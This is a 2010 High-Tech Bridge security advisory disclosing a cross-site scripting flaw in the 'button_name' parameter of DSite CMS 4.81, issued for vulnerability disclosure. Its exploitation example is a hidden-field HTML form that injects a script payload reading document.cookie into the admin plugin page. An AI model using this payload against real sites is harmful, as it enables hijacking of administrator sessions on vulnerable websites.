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Cross-site Scripting (XSS) Vulnerability in DSite CMS

Advisory ID:HTB22465
Product:DSite CMS
Vendor:Media Programming Group
Vulnerable Versions:4.81 and probably prior
Tested Version:4.81
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DSite CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in DSite CMS

The vulnerability exists due to input sanitation error in the "button_name" parameter in modmenu.php. A remote attacker can send a specially crafted HTTP POST request to the admin/plugin.php script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.

Exploitation example:

<form action="http://host/admin/plugin.php?menu_id=1&module=menu&plitem=modmenu.php" method="post" name="main" >
<input type="hidden" name="module" value="menu" />
<input type="hidden" name="plitem" value="modmenu.php" />
<input type="hidden" name="menu_id" value="1" />
<input type="hidden" name="button_name" value='bn"><script>alert(document.cookie)</script>' />
<input type="hidden" name="new_make" value="YES" />

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

ImmuniWeb® by High-Tech Bridge

[1] High-Tech Bridge Advisory HTB 22465- https://www.htbridge.com/advisory/HTB22465 - Cross-site Scripting (XSS) Vulnerability in DSite CMS
[2] DSite CMS - www.dsite.ru - DSite CMS is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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